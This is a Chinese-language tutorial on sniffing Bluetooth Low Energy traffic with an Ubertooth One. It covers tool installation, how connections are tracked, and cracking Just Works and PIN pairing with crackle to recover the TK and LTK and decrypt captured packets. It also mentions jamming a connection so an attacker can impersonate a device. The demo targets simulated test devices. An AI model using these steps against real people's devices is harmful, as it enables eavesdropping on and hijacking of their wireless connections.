BLE全稱bluetooth low energy中文又稱藍(lán)牙低功耗。最早被人們所知道是在2010年的時(shí)候出現(xiàn)在了bluetooth4的spec當(dāng)中。由于它比傳統(tǒng)的藍(lán)牙更能控制功耗和成本,所以在公布之后開(kāi)始被廣泛地應(yīng)用了起來(lái)。比如:運(yùn)動(dòng)手表,藍(lán)牙智能鼠標(biāo),一些超昂貴的智能滑板又或者是一些醫(yī)療器材上。bluetooth smart的字樣幾乎隨處可見(jiàn)。由于用戶喜歡低功耗,廠家喜歡低成本它便成為了很受歡迎的一樣?xùn)|西。
BLE和傳統(tǒng)的藍(lán)牙有著許多不同之處。它們使用不同的modulation參數(shù),使用不同的頻道(但仍然是2.4GHz),使用不同的頻率跳變,使用不同的包格式,即使是數(shù)據(jù)白化方面也有著諸多不同。當(dāng)然了,它們也存在一些共同之處。它們還是會(huì)使用傳統(tǒng)的主控設(shè)備-從屬設(shè)備模式。雖然它的ph層 link layer 層和傳統(tǒng)的藍(lán)牙不相同但l2cap層att層還是相同的。
因?yàn)樗菬o(wú)線通訊,所以這很容易讓我們聯(lián)想到我們可以實(shí)施的一些攻擊手段。如果可能的話,我們想去嗅探,想去進(jìn)行包注入,在有必要的時(shí)候進(jìn)行jamming來(lái)完成我們余下的攻擊。聽(tīng)上去好像沒(méi)有那么難,也沒(méi)有那么新鮮。但實(shí)際上藍(lán)牙嗅探實(shí)現(xiàn)起來(lái)卻并沒(méi)有想象的那么簡(jiǎn)單。對(duì)于wifi我們可以購(gòu)買(mǎi)一張支持監(jiān)聽(tīng)模式的網(wǎng)卡。但對(duì)于藍(lán)牙根本就存在這么歡快的模式。這意味著我們需要一個(gè)這樣的設(shè)備。兩個(gè)選擇,造一個(gè)或買(mǎi)一個(gè)。幸運(yùn)的是已經(jīng)有人做出來(lái)了,雖然在功能上還有許多問(wèn)題(多在于控制成本,我覺(jué)得mike應(yīng)該不會(huì)遇到技術(shù)上的困難。。),但對(duì)于ble嗅探來(lái)說(shuō)還是可以勝任的。so 它就是ubertooth one。
對(duì)于ubertooth one的環(huán)境搭建,我認(rèn)為已經(jīng)有了一個(gè)很友好的文章。
www.security-sleuth.com/sleuth-blog/2015/9/6/now-i-wanna-sniff-some-bluetooth-sniffing-and-cracking-bluetooth-with-the-ubertoothone
如果上面的鏈接被一股神秘的力量攔截了,你可以直接參照下面的內(nèi)容。
首先,你需要擁有一個(gè)ubertooth one。從某寶入手又或者是從烏云集市購(gòu)入。為了方便測(cè)試還需準(zhǔn)備一個(gè)buletooth dongle。你的操作系統(tǒng)可以是win,linux或者是mac。本文將以kali linux為例進(jìn)行安裝步驟的講述。
先安裝這些
sudo apt-get install cmake libusb-1.0-0-dev make gcc g++ libbluetooth-dev \
pkg-config libpcap-dev python-numpy python-pyside python-qt4
完成之安裝libbtbb
wget https://github.com/greatscottgadgets/libbtbb/archive/2015-09-R2.tar.gz -O libbtbb-2015-09-R2.tar.gz
tar xf libbtbb-2015-09-R2.tar.gz
cd libbtbb-2015-09-R2
mkdir build
cd build
cmake ..
make
sudo make install
安裝ubertooth工具(kali自帶的最好remove掉,因?yàn)榘姹咎f)
wget https://github.com/greatscottgadgets/ubertooth/releases/download/2015-09-R2/ubertooth-2015-09-R2.tar.xz -O ubertooth-2015-09-R2.tar.xz
tar xf ubertooth-2015-09-R2.tar.xz
cd ubertooth-2015-09-R2/host
mkdir build
cd build
cmake ..
make
sudo make install
sudo ldconfig
安裝kismet(安裝前同樣remove掉系統(tǒng)自帶的)
sudo apt-get install libpcap0.8-dev libcap-dev pkg-config build-essential libnl-dev libncurses-dev libpcre3-dev libpcap-dev libcap-dev
wget https://kismetwireless.net/code/kismet-2013-03-R1b.tar.xz
tar xf kismet-2013-03-R1b.tar.xz
cd kismet-2013-03-R1b
ln -s ../ubertooth-2015-09-R2/host/kismet/plugin-ubertooth .
./configure
make && make plugins
sudo make suidinstall
sudo make plugins-install
將”pcapbtbb”加入到kismet.conf的logtypes= 當(dāng)中。
安裝wireshark
sudo apt-get install wireshark wireshark-dev libwireshark-dev cmake
cd libbtbb-2015-09-R2/wireshark/plugins/btbb
mkdir build
cd build
cmake -DCMAKE_INSTALL_LIBDIR=/usr/lib/x86_64-linux-gnu/wireshark/libwireshark3/plugins ..
make
sudo make install
安裝BR/EDR插件
sudo apt-get install wireshark wireshark-dev libwireshark-dev cmake
cd libbtbb-2015-09-R2/wireshark/plugins/btbredr
mkdir build
cd build
cmake -DCMAKE_INSTALL_LIBDIR=/usr/lib/x86_64-linux-gnu/wireshark/libwireshark3/plugins ..
make
sudo make install
最后千萬(wàn)不要忘記更新你的firmware
跳到剛才解壓過(guò)的 ubertooth-2015-09-R2目錄。
Cd ubertooth-one-firmware-bin
$ ubertooth-dfu -d bluetooth_rxtx.dfu -r
Checking firmware signature
No DFU devices found – attempting to find Ubertooth devices
1) Found ‘Ubertooth One’ with address 0x1d50 0x6002
Select a device to flash (default:1, exit:0):
按下回車(chē)。完成firmware的更新。如果失敗了或出現(xiàn)了莫名其妙的usb錯(cuò)誤。不要慌張。試試
ubertooth-util -v
如果出現(xiàn)
Firmware revision: 2014-02-R1
$ ubertooth-util -V
ubertooth 2014-02-R1 (dominicgs@mercury) Wed Jan 29 23:10:46 GMT 2014
就意味著應(yīng)該沒(méi)有什么太大的問(wèn)題。折騰到這里你的環(huán)境搭建問(wèn)題就差不多都解決了。
嗅探的基礎(chǔ)理論概念
讓我們?cè)囍私庖幌耣le,先看看ble棧長(zhǎng)什么模樣(如圖1 所示)。
ble棧應(yīng)該和你看過(guò)的ip包很像。最上面綠色的部分是應(yīng)用層,主要是gatt和att我們可以把它看作是同一層。sm是安全管理層,負(fù)責(zé)管理安 全。最下面link layer層和phy層基本上就是一些rf的處理。因?yàn)檫@次的內(nèi)容主要是集中在sm,link layer和phy層上,所以對(duì)于應(yīng)用層不會(huì)有相關(guān)的敘述和解釋。讓我們?cè)囍鴱南峦峡雌稹?/p>
phy layer使用gfsk進(jìn)行modulation如果你是rf hacking的愛(ài)好者,你應(yīng)該對(duì)這個(gè)東西不陌生。和傳統(tǒng)的藍(lán)牙不同在ble的世界里只有40個(gè)頻道,也就是傳統(tǒng)藍(lán)牙的一半。其中有37個(gè)頻道用于數(shù)據(jù)傳 輸,不被用到的頻道都會(huì)被gap所替代。然后就是hopping 也就是所謂的頻率跳變。和wifi或zigbee等不同。藍(lán)牙喜歡打一槍換一個(gè)地方。每一個(gè)頻道上都只會(huì)發(fā)生一次數(shù)據(jù)傳輸。一個(gè)request和一個(gè) response。在完成之后根據(jù)hope increment會(huì)跳到下一個(gè)頻道。
幸運(yùn)的是ubertooth one內(nèi)置的 cc2400可以幫助我們完成這些操作。我們不用去編寫(xiě)什么程序,我們不用去造一個(gè)輪子,我們只需要去配置一下相關(guān)的設(shè)定。設(shè)置完畢后我們就可以借助ubertooth one來(lái)獲取我們想要的bits。
讓我們繼續(xù)往上看,來(lái)看看 link layer。通過(guò)查閱ble的spec我們可以獲知link layer的包格式看上去是這樣:
看上去link layer的格式并不復(fù)雜。它包含前導(dǎo)碼,訪問(wèn)地址,PDU和CRC校驗(yàn)碼。不過(guò)似乎有點(diǎn)問(wèn)題。因?yàn)槲覀兦懊嫠岬降亩际莃its我們需要的是bits, 而這里說(shuō)的都是octets。如何獲取我們想要的bits?首先通過(guò)ubertooth one我們可以截獲海量的數(shù)據(jù)。所以我們有很多數(shù)據(jù)。但是我們需要區(qū)分開(kāi)什么是什么。怎么做到呢?我們需要的就是等待我們的已知量access address的出現(xiàn)。根據(jù)spec加上小學(xué)數(shù)學(xué)功底,推出前后的數(shù)據(jù)都是什么。這樣一來(lái)我們就擁有了整個(gè)link later的bits數(shù)據(jù)。 擁有了這兩層之后我們就可以將RF轉(zhuǎn)換成數(shù)據(jù)包了。
So ubertooth負(fù)責(zé)這兩層我們都搞定了,其它層都可以交給pc去處理,所以問(wèn)題解決了么?
還沒(méi)有。因?yàn)閎tle喜歡打一槍換一個(gè)地方。所以我們還需要考慮如何去跟蹤connection(配對(duì)的時(shí)候會(huì)在37,38,39個(gè)三個(gè)頻道隨機(jī) 跳,起點(diǎn)位置未知。由于ubertooth one 一次只能監(jiān)聽(tīng)一個(gè)頻道,所以實(shí)戰(zhàn)時(shí)可能需要多測(cè)試幾次才能抓到我們需要的6個(gè)包來(lái)破解tk)。跟蹤connection需要知道4樣?xùn)|西。
Access address
crcinit
time slot length
hop increment
但如何才能獲取這些數(shù)據(jù)呢?對(duì)于aa我們可以坐等數(shù)據(jù)的流過(guò),重點(diǎn)檢查空數(shù)據(jù)包,因?yàn)槲覀冎揽諗?shù)據(jù)包的結(jié)構(gòu)是什么樣的,所以我們只需要在截獲的數(shù) 據(jù)包中往會(huì)跳32bit來(lái)獲取我們的access address。使用lfsr來(lái)還原crcinit.坐等在某個(gè)頻道等待兩個(gè)連續(xù)包的出現(xiàn)來(lái)計(jì)算time slot length = Δt / 37,最后再通過(guò)我們的高中數(shù)學(xué)功底來(lái)計(jì)算出hop increment.(原作者怕觀眾無(wú)聊就一筆帶過(guò)了太過(guò)于數(shù)學(xué)話的部分)。
anyway,經(jīng)過(guò)這一系列的折騰我們現(xiàn)在具備了跟蹤connection的條件。這也就意味著我們可以嗅探ble了。
but wait,難道ble就沒(méi)有加密么?答案是有,它使用了著名的aes-ccm(不過(guò)還是有很多設(shè)備的通訊是不加密的 。我不是藍(lán)牙開(kāi)發(fā)者,但這應(yīng)該和采用的security model有關(guān)吧。看了下spec里頭說(shuō)model0和model1沒(méi)有加密)也許這讓你想起了wpa-aes因?yàn)樗鼈兪且粯拥募用芊绞?。所以?xiě)了這么 多,這是在逗我么?答案是,no。因?yàn)榍纹さ腷le使用了自定義的密鑰交換協(xié)議。它的自定義密鑰交換協(xié)議又怎么了?讓我們先看看它是怎么匹配的,又或者是 它有幾種匹配模式。
Just works
6 digit pin
OOB
其中的just works 用起來(lái)也就是just works。怎么說(shuō)?因?yàn)樗肋h(yuǎn)用0作為tk來(lái)進(jìn)行配對(duì)。6 digit pin。名字和內(nèi)容差不多,使用0-999999之間的數(shù)字來(lái)當(dāng)tk來(lái)使用。對(duì)于爆破來(lái)說(shuō),實(shí)在是太脆弱。實(shí)際測(cè)試當(dāng)中爆破6 digit pin都用不到1s。OOB全稱out off band,會(huì)使用很麻煩的方式進(jìn)行匹配,暫時(shí)沒(méi)有什么設(shè)備在用這種模式。擁有了tk能做什么呢?讓我們看看一個(gè)例子。
小明新買(mǎi)了個(gè)酷炫狂拽的ble設(shè)備。開(kāi)始和自己的其它設(shè)備進(jìn)行配對(duì)。黑客配備好自己的ubertooth觀察整個(gè)配對(duì)過(guò)程。如果配對(duì)使用了just works 或 6 digit pin 黑客通過(guò)暴力破解秒獲tk。根據(jù)tk和配對(duì)數(shù)據(jù)包還原出stk,根據(jù)stk和密鑰交換獲得ltk。
但是需要注意的是為了擁有tk,你起碼要在配對(duì)進(jìn)行時(shí)抓到下面的6個(gè)包:
pairing request
pairing response
pairing confirm
pairing confirm
pairing random
pairing random
由于配對(duì)會(huì)在37,38,39三個(gè)頻道進(jìn)行,外加ubertooth one一次只能監(jiān)聽(tīng)一個(gè)頻道,所以最幸運(yùn)的情況是配對(duì)從ubertooth-btle 默認(rèn)頻道37開(kāi)始進(jìn)行,隨后的部分由ubertooth幫你完成余下的connection跟蹤,來(lái)完成整個(gè)6個(gè)包的抓包。如果抓不到你就需要多試幾 次。。(便宜貨嘛,將就點(diǎn)啦 )
湊夠了6個(gè)包后將你抓到的包交給神器crackle ,crackle將會(huì)為你破解tk和我們的日思夜想的ltk。擁有了ltk我們就可以解密我們嗅探的所有的包!那有了ltk我們是不是就可以直接取代原來(lái) 的從屬設(shè)備了呢?還做不到。因?yàn)閏onnection還包含一個(gè)隨機(jī)量。。這就沒(méi)得玩了?也不是,我們需要做的就是jam掉已經(jīng)有的connection 拿著我們的ltk和主控設(shè)備去做一些羞羞的事情。
測(cè)試設(shè)備是否可以在當(dāng)前環(huán)境下正常運(yùn)作,可以先試試wifi
root@kali:~/Desktop# ubertooth-specan-ui
手頭上沒(méi)有bluetooth smart設(shè)備?那咱就模擬一個(gè)。分別在ios設(shè)備1和ios設(shè)備2上從appstore下載并安裝lightblue。設(shè)備A模擬主控設(shè)備,設(shè)備B模擬從屬設(shè)備
在這里我們裝扮成了一個(gè)心率計(jì)算設(shè)備。試圖進(jìn)行匹配。在這個(gè)時(shí)候攻擊者需要提前準(zhǔn)備。你可以選擇使用pipe來(lái)實(shí)現(xiàn)實(shí)施監(jiān)聽(tīng)。
root@kali:~# mkfifo /tmp/pipe
打開(kāi)wireshark
Capture -> Options -> Manage Interfaces -> New
輸入 /tmp/pipe
點(diǎn)擊start開(kāi)始監(jiān)聽(tīng)。
然后千萬(wàn)別忘了把ubertooth抓到的內(nèi)容輸出到pipe
root@kali:~# ubertooth-btle -f -c /tmp/pipe
最最后,不要忘了這一步。不然你抓到的包根本看不成
Edit → Preferences → Protocols → DLT_USER → Edit → New
在payload protocol中輸入btle
ok → ok
如果你想把抓好的包帶回家慢慢整,你可以簡(jiǎn)單的包抓取的內(nèi)容輸出到某個(gè)目錄下
ubertooth-util -r ; ubertooth-btle -f -c /output.pcap
抓到包之后我們最關(guān)心的問(wèn)題是我們有沒(méi)有抓到的足夠的包來(lái)破解tk。所以在wireshark中你可以在filter處加上btsmp,確保抓到了我們需要的6個(gè)包。
確定抓到了包之后我們?nèi)ハ螺d神器crackle。
Git clone https://github.com/mikeryan/crackle.git
cd crackle
make
make install
安裝完成后,開(kāi)始借助cracle和我們抓到的包依次破解tk和ltk
從上圖中我們可以看到我們不但破解了tk,還利用利用tk和其它一些數(shù)據(jù)成功的還原出了ltk。
接下來(lái)我們?cè)賮?lái)試試?yán)毛@取的ltk來(lái)破解其他的加密包。假設(shè)我們?cè)谂鋵?duì)過(guò)程中已經(jīng)拿到了ltk=7f62c053f104a5bbe68b1d896a2ed49c
crackle -l 7f62c053f104a5bbe68b1d896a2ed49c -i test44.pcap -o test66.pcap
可以看到我們成功地破解了7個(gè)包。
使用OOB
root@kali:~/Desktop# crackle -i heart.pcap
Warning: No output file specified. Won’t decrypt any packets.
Warning: found multiple connects, only using the latest one
Warning: found multiple LL_ENC_REQ, only using latest one
Warning: found multiple connects, only using the latest one
Warning: found multiple pairing requests, only using the latest one
Warning: found multiple connects, only using the latest one
Warning: found multiple pairing requests, only using the latest one
Warning: already saw two random values, skipping
Warning: found multiple LL_ENC_REQ, only using latest one
TK not found, the connection is probably using OOB pairing
Sorry d00d
or
等待支持bluetooth4.2的設(shè)備的出現(xiàn)(通過(guò)ECDH解決)
https://lacklustre.net/
www.security-sleuth.com/sleuth-blog/2015/9/6/now-i-wanna-sniff-some-bluetooth-sniffing-and-cracking-bluetooth-with-the-ubertoothone
https://www.bluetooth.org/en-us/specification/adopted-specifications